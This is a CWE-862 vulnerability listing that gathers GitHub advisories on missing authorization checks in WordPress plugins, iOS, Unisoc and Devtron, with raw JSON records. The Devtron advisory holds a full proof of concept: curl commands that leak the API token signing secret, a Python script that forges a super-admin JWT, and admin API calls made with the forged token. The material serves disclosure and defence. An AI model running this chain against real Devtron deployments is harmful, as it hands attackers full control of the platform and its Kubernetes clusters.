Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14611 vulnerabilities reference this CWE, most recent first.

GHSA-8W5Q-6RVH-HM6F

Vulnerability from github – Published: 2023-08-07 03:30 – Updated: 2024-04-04 06:34
VLAI
Details

In Contacts Service, there is a possible missing permission check.This could lead to local information disclosure with no additional execution privileges

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-33906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-07T02:15:10Z",
    "severity": "MODERATE"
  },
  "details": "In Contacts Service, there is a possible missing permission check.This could lead to local information disclosure with no additional execution privileges",
  "id": "GHSA-8w5q-6rvh-hm6f",
  "modified": "2024-04-04T06:34:29Z",
  "published": "2023-08-07T03:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33906"
    },
    {
      "type": "WEB",
      "url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1687281677639942145"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8W6X-CFX6-W753

Vulnerability from github – Published: 2026-04-09 06:30 – Updated: 2026-04-09 06:30
VLAI
Details

The Ziggeo plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.1.1. The wp_ajax_ziggeo_ajax handler only verifies a nonce (check_ajax_referer) but performs no capability checks via current_user_can(). Furthermore, the nonce ('ziggeo_ajax_nonce') is exposed to all logged-in users on every page via the wp_head and admin_head hooks . This makes it possible for authenticated attackers, with Subscriber-level access and above, to invoke multiple administrative operations including: saving arbitrary translation strings (translations_panel_save_strings via update_option('ziggeo_translations')), creating/updating/deleting event templates (event_editor_save_template/update_template/remove_template via update_option('ziggeo_events')), modifying SDK application settings (sdk_applications operations), and managing notifications (notification_handler via update_option('ziggeo_notifications')).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-09T04:17:14Z",
    "severity": "MODERATE"
  },
  "details": "The Ziggeo plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.1.1. The wp_ajax_ziggeo_ajax handler  only verifies a nonce (check_ajax_referer) but performs no capability checks via current_user_can(). Furthermore, the nonce (\u0027ziggeo_ajax_nonce\u0027) is exposed to all logged-in users on every page via the wp_head and admin_head hooks . This makes it possible for authenticated attackers, with Subscriber-level access and above, to invoke multiple administrative operations including: saving arbitrary translation strings (translations_panel_save_strings via update_option(\u0027ziggeo_translations\u0027)), creating/updating/deleting event templates (event_editor_save_template/update_template/remove_template via update_option(\u0027ziggeo_events\u0027)), modifying SDK application settings (sdk_applications operations), and managing notifications (notification_handler via update_option(\u0027ziggeo_notifications\u0027)).",
  "id": "GHSA-8w6x-cfx6-w753",
  "modified": "2026-04-09T06:30:27Z",
  "published": "2026-04-09T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4124"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/admin/page_editor_events_ajax.php#L13"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/admin/page_sdk_ajax.php#L8"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/admin/page_translations_ajax.php#L13"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/core/ajax.php#L31"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/tags/3.1.1/core/header.php#L67"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/admin/page_editor_events_ajax.php#L13"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/admin/page_sdk_ajax.php#L8"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/admin/page_translations_ajax.php#L13"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/core/ajax.php#L31"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ziggeo/trunk/core/header.php#L67"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3494290%40ziggeo\u0026new=3494290%40ziggeo\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15477c00-0764-4850-8bce-d65b6b1cbe4c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8W9M-69WV-WGJM

Vulnerability from github – Published: 2023-01-19 15:30 – Updated: 2026-04-08 18:32
VLAI
Details

The Social Warfare plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on several AJAX actions in versions up to, and including, 4.3.0. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to delete post meta information and reset network access tokens.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-0402"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-19T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Social Warfare plugin for WordPress is vulnerable to authorization bypass due to a missing capability check on several AJAX actions in versions up to, and including, 4.3.0. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to delete post meta information and reset network access tokens.",
  "id": "GHSA-8w9m-69wv-wgjm",
  "modified": "2026-04-08T18:32:00Z",
  "published": "2023-01-19T15:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0402"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/social-warfare/trunk/lib/options/SWP_Options_Page.php?rev=2364155#L923"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2844092%40social-warfare\u0026new=2844092%40social-warfare\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4bc4ba2c-32eb-46c5-bb40-7c0150fc1ca4"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4bc4ba2c-32eb-46c5-bb40-7c0150fc1ca4?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8W9W-HRFF-VHQW

Vulnerability from github – Published: 2025-01-15 21:31 – Updated: 2025-01-16 18:31
VLAI
Details

A logic issue was addressed with improved checks. This issue is fixed in iOS 18.1 and iPadOS 18.1, iOS 17.7.1 and iPadOS 17.7.1. An attacker with physical access may be able to access contacts from the lock screen.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-54470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T20:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A logic issue was addressed with improved checks. This issue is fixed in iOS 18.1 and iPadOS 18.1, iOS 17.7.1 and iPadOS 17.7.1. An attacker with physical access may be able to access contacts from the lock screen.",
  "id": "GHSA-8w9w-hrff-vhqw",
  "modified": "2025-01-16T18:31:00Z",
  "published": "2025-01-15T21:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54470"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121563"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/121567"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8WGH-42QQ-39VR

Vulnerability from github – Published: 2024-05-17 09:30 – Updated: 2024-05-17 09:30
VLAI
Details

Missing Authorization vulnerability in Joseph C Dolson My Tickets.This issue affects My Tickets: from n/a through 1.9.11.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-17T07:15:49Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Joseph C Dolson My Tickets.This issue affects My Tickets: from n/a through 1.9.11.",
  "id": "GHSA-8wgh-42qq-39vr",
  "modified": "2024-05-17T09:30:59Z",
  "published": "2024-05-17T09:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23988"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/my-tickets/wordpress-my-tickets-plugin-1-9-11-payment-bypass-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8WH6-84QG-RGC5

Vulnerability from github – Published: 2026-03-06 12:30 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in Rank Math Rank Math SEO PRO allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Rank Math SEO PRO: from n/a through 3.0.95.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28080"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-06T12:15:54Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Rank Math Rank Math SEO PRO allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Rank Math SEO PRO: from n/a through 3.0.95.",
  "id": "GHSA-8wh6-84qg-rgc5",
  "modified": "2026-04-28T21:35:56Z",
  "published": "2026-03-06T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28080"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/seo-by-rank-math-pro/vulnerability/wordpress-rank-math-seo-pro-plugin-3-0-95-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8WP6-P8R2-JH2M

Vulnerability from github – Published: 2024-10-29 18:30 – Updated: 2026-04-01 18:32
VLAI
Details

Missing Authorization vulnerability in HM Plugin WordPress Stripe Donation and Payment Plugin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WordPress Stripe Donation and Payment Plugin: from n/a through 3.2.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-50459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-29T17:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in HM Plugin WordPress Stripe Donation and Payment Plugin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WordPress Stripe Donation and Payment Plugin: from n/a through 3.2.3.",
  "id": "GHSA-8wp6-p8r2-jh2m",
  "modified": "2026-04-01T18:32:14Z",
  "published": "2024-10-29T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50459"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/wp-stripe-donation/vulnerability/wordpress-aidwp-plugin-3-2-3-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-stripe-donation/wordpress-aidwp-plugin-3-2-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8WPC-J9Q9-J5M2

Vulnerability from github – Published: 2026-02-04 19:46 – Updated: 2026-02-05 00:35
VLAI
Summary
Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage
Details

Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage

Summary

This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the /orchestrator/attributes?key=apiTokenSecret endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.

CWE Classification: CWE-862 (Missing Authorization)

Details

Vulnerability Mechanism

Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the apiTokenSecret stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.

Source Code Analysis

Vulnerability Location: api/restHandler/AttributesRestHandlder.go:173-195

func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {
    // Only checks if user is logged in
    userId, err := handler.userService.GetLoggedInUser(r)
    if userId == 0 || err != nil {
        common.HandleUnauthorized(w, r)
        return
    }

    // CRITICAL: RBAC check is commented out
    /*token := r.Header.Get("token")
    if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok {
        WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden)
        return
    }*/

    // Directly retrieves any attribute without authorization
    vars := mux.Vars(r)
    key := vars["key"]
    res, err := handler.attributesService.GetByKey(key)
    if err != nil {
        handler.logger.Errorw("service err, GetAttributesById", "err", err)
        common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)
        return
    }
    common.WriteJsonResp(w, nil, res, http.StatusOK)
}

Key Usage: pkg/apiToken/ApiTokenSecretService.go:54-88

func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {
    if len(impl.apiTokenSecretStore.Secret) == 0 {
        return nil, errors.New("secret found empty")
    }
    return []byte(impl.apiTokenSecretStore.Secret), nil
}

func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {
    apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)
    if err != nil {
        return "", err
    }
    if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {
        return "", errors.New("api token secret from DB found nil/empty")
    }
    return apiTokenSecret.Value, nil
}

This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.

PoC (Proof of Concept)

Environment Setup

Prerequisites

  • Kubernetes cluster (v1.22+)
  • kubectl configured
  • Helm 3.x
  • Python 3.x with PyJWT library

Step 1: Install Devtron

# Add Devtron Helm repository
helm repo add devtron https://helm.devtron.ai
helm repo update devtron

# Install Devtron with CI/CD module
helm install devtron devtron/devtron-operator \
  --create-namespace --namespace devtroncd \
  --set components.devtron.service.type=NodePort \
  --set installer.modules={cicd} \
  --set installer.arch=multi-arch

# Wait for installation to complete (15-20 minutes)
kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'
# Expected output: Applied

Step 2: Access Devtron Dashboard

# Set up port forwarding
kubectl -n devtroncd port-forward service/devtron-service 8000:80 &

# Get admin password
ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \
  -o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)
echo "Admin password: ${ADMIN_PASSWORD}"

Access http://127.0.0.1:8000 and login with admin account.

Exploitation Steps

Step 1: Obtain User Token

Login as a regular user and obtain token:

# Login as regular user
curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq .

# Extract token
USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token')

echo "User token: ${USER_TOKEN:0:50}..."

Actual Output Example:

{
  "code": 200,
  "status": "OK",
  "result": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "userId": 1,
    "userEmail": "admin"
  }
}

Step 2: Exploit Vulnerability to Retrieve apiTokenSecret

Use the obtained token to access the unauthorized Attributes API:

# Request apiTokenSecret
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq .

# Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq -r '.result.value')

echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"

Actual Output Example:

{
  "code": 200,
  "status": "OK",
  "result": {
    "id": 1,
    "key": "apiTokenSecret",
    "value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "active": true,
    "createdOn": "2024-01-15T10:30:00Z",
    "createdBy": 1
  }
}

Step 3: Forge Admin JWT Token

Forge admin token using the leaked key:

# Install PyJWT if not already installed
pip3 install PyJWT

# Create token forging script
cat > forge_token.py << 'EOF'
#!/usr/bin/env python3
import jwt
import time
import sys
import json

def forge_admin_token(secret, user_id=1, email="admin"):
    exp_time = int(time.time()) + 365 * 24 * 60 * 60

    payload = {
        "sub": str(user_id),
        "email": email,
        "iat": int(time.time()),
        "exp": exp_time,
        "iss": "devtron",
        "roles": ["role:super-admin___"]
    }

    token = jwt.encode(payload, secret, algorithm="HS256")
    return token

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python forge_token.py <apiTokenSecret>")
        sys.exit(1)

    secret = sys.argv[1]
    admin_token = forge_admin_token(secret, user_id=1, email="admin")
    print(f"[+] Forged Admin Token:")
    print(admin_token)
    print()

    decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
    print(f"[+] Token Payload:")
    print(json.dumps(decoded, indent=2))
EOF

chmod +x forge_token.py

# Forge admin token
python3 forge_token.py "${API_SECRET}"

Actual Output Example:

[+] Forged Admin Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU

[+] Token Payload:
{
  "sub": "1",
  "email": "admin",
  "iat": 1705314000,
  "exp": 1736850000,
  "iss": "devtron",
  "roles": [
    "role:super-admin___"
  ]
}

Step 4: Test Forged Token with Admin APIs

Use the forged token to access admin APIs:

# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)

# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'

# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'

# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
  -H "token: ${FORGED_TOKEN}" | jq '.result'

Actual Output Example:

[*] Test 1: Getting user list...
{
  "id": 1,
  "email_id": "admin",
  "roles": ["role:super-admin___"]
}
{
  "id": 2,
  "email_id": "developer@example.com",
  "roles": ["role:developer"]
}

[*] Test 2: Getting cluster list...
{
  "id": 1,
  "cluster_name": "default_cluster",
  "server_url": "https://kubernetes.default.svc"
}

[*] Test 3: Getting application list...
{
  "appContainers": [
    {
      "appId": 1,
      "appName": "sample-app",
      "projectId": 1
    }
  ]
}

Expected Result

If the vulnerability exists, it should be able to:

  1. Successfully obtain apiTokenSecret using any authenticated user's token
  2. Successfully forge JWT tokens using the leaked key
  3. Successfully access admin-only APIs using the forged token
  4. Retrieve sensitive information such as user lists, cluster configurations, etc.

Impact

Security Impact

Confidentiality: Severe impact. Attackers can: - Obtain the global API Token signing key - Read all user information and permission configurations - Access Kubernetes cluster configurations and credentials - Read sensitive application configurations and Secrets

Integrity: Severe impact. Attackers can: - Forge API Tokens for arbitrary user identities - Modify application configurations and deployments - Create or delete CI/CD pipelines - Modify user permissions and roles

Availability: High impact. Attackers can: - Delete critical applications and configurations - Disrupt CI/CD processes - Modify cluster configurations causing service interruptions

Business Impact

  1. Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators
  2. Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes
  3. Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code
  4. Data Breach: Can access all application configurations and Secrets
  5. Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials

Attack Scenarios

Scenario 1: Insider Threat - Low-privileged developer exploits this vulnerability to escalate privileges - Gains full access to production environment - Steals sensitive data or plants backdoors

Scenario 2: Supply Chain Attack - Attacker obtains low-privileged account through social engineering - Exploits vulnerability to gain admin privileges - Modifies CI/CD pipelines to inject malicious code - Affects all applications using the pipeline

Scenario 3: Lateral Movement - Attacker has already compromised a low-privileged account - Exploits this vulnerability to gain Kubernetes cluster access - Deploys cryptocurrency miners or other malicious payloads in the cluster

Severity

CVSS v3.1 Score: 9.8 (Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Score Breakdown: - Attack Vector (AV:N): Network accessible, exploited via HTTP API - Attack Complexity (AC:L): Low complexity, requires only one HTTP request - Privileges Required (PR:L): Requires low privileges (any authenticated user) - User Interaction (UI:N): No user interaction required - Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster) - Confidentiality (C:H): High impact, can read all sensitive information - Integrity (I:H): High impact, can modify all configurations and data - Availability (A:H): High impact, can delete resources and disrupt services

Severity Level: Critical

Affected Versions

  • Devtron: All versions (as of 2026-01-26 verification)
  • Specifically affected code files:
  • api/restHandler/AttributesRestHandlder.go
  • pkg/apiToken/ApiTokenSecretService.go

Workarounds

Before an official patch is released, the following temporary measures can be taken:

Option 1: Network-Level Restrictions

# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: devtron-api-restriction
  namespace: devtroncd
spec:
  podSelector:
    matchLabels:
      app: devtron
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: admin
    ports:
    - protocol: TCP
      port: 8080
EOF

Option 2: Rotate API Token Secret

# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)

# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
  psql -U postgres -d orchestrator -c \
  "UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"

# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd

Option 3: Add API Gateway Filtering

Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.

Credits

@b0b0haha (603571786@qq.com) @lixingquzhi(mayedoushidalao@163.com)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/devtron-labs/devtron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-04T19:46:10Z",
    "nvd_published_at": "2026-02-04T22:15:59Z",
    "severity": "HIGH"
  },
  "details": "# Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage\n\n## Summary\n\nThis vulnerability exists in Devtron\u0027s Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the `/orchestrator/attributes?key=apiTokenSecret` endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.\n\n**CWE Classification**: CWE-862 (Missing Authorization)\n\n## Details\n\n### Vulnerability Mechanism\n\nDevtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the `apiTokenSecret` stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.\n\n### Source Code Analysis\n\n**Vulnerability Location**: `api/restHandler/AttributesRestHandlder.go:173-195`\n\n```go\nfunc (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {\n    // Only checks if user is logged in\n    userId, err := handler.userService.GetLoggedInUser(r)\n    if userId == 0 || err != nil {\n        common.HandleUnauthorized(w, r)\n        return\n    }\n\n    // CRITICAL: RBAC check is commented out\n    /*token := r.Header.Get(\"token\")\n    if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, \"*\"); !ok {\n        WriteJsonResp(w, errors.New(\"unauthorized\"), nil, http.StatusForbidden)\n        return\n    }*/\n\n    // Directly retrieves any attribute without authorization\n    vars := mux.Vars(r)\n    key := vars[\"key\"]\n    res, err := handler.attributesService.GetByKey(key)\n    if err != nil {\n        handler.logger.Errorw(\"service err, GetAttributesById\", \"err\", err)\n        common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)\n        return\n    }\n    common.WriteJsonResp(w, nil, res, http.StatusOK)\n}\n```\n\n**Key Usage**: `pkg/apiToken/ApiTokenSecretService.go:54-88`\n\n```go\nfunc (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {\n    if len(impl.apiTokenSecretStore.Secret) == 0 {\n        return nil, errors.New(\"secret found empty\")\n    }\n    return []byte(impl.apiTokenSecretStore.Secret), nil\n}\n\nfunc (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {\n    apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)\n    if err != nil {\n        return \"\", err\n    }\n    if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {\n        return \"\", errors.New(\"api token secret from DB found nil/empty\")\n    }\n    return apiTokenSecret.Value, nil\n}\n```\n\nThis key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.\n\n## PoC (Proof of Concept)\n\n### Environment Setup\n\n#### Prerequisites\n\n- Kubernetes cluster (v1.22+)\n- kubectl configured\n- Helm 3.x\n- Python 3.x with PyJWT library\n\n#### Step 1: Install Devtron\n\n```bash\n# Add Devtron Helm repository\nhelm repo add devtron https://helm.devtron.ai\nhelm repo update devtron\n\n# Install Devtron with CI/CD module\nhelm install devtron devtron/devtron-operator \\\n  --create-namespace --namespace devtroncd \\\n  --set components.devtron.service.type=NodePort \\\n  --set installer.modules={cicd} \\\n  --set installer.arch=multi-arch\n\n# Wait for installation to complete (15-20 minutes)\nkubectl -n devtroncd get installers installer-devtron -o jsonpath=\u0027{.status.sync.status}\u0027\n# Expected output: Applied\n```\n\n#### Step 2: Access Devtron Dashboard\n\n```bash\n# Set up port forwarding\nkubectl -n devtroncd port-forward service/devtron-service 8000:80 \u0026\n\n# Get admin password\nADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \\\n  -o jsonpath=\u0027{.data.ADMIN_PASSWORD}\u0027 | base64 -d)\necho \"Admin password: ${ADMIN_PASSWORD}\"\n```\n\nAccess http://127.0.0.1:8000 and login with admin account.\n\n### Exploitation Steps\n\n#### Step 1: Obtain User Token\n\nLogin as a regular user and obtain token:\n\n```bash\n# Login as regular user\ncurl -s -X POST \"http://127.0.0.1:8000/orchestrator/api/v1/session\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"\u0027${ADMIN_PASSWORD}\u0027\"}\u0027 | jq .\n\n# Extract token\nUSER_TOKEN=$(curl -s -X POST \"http://127.0.0.1:8000/orchestrator/api/v1/session\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"\u0027${ADMIN_PASSWORD}\u0027\"}\u0027 | jq -r \u0027.result.token\u0027)\n\necho \"User token: 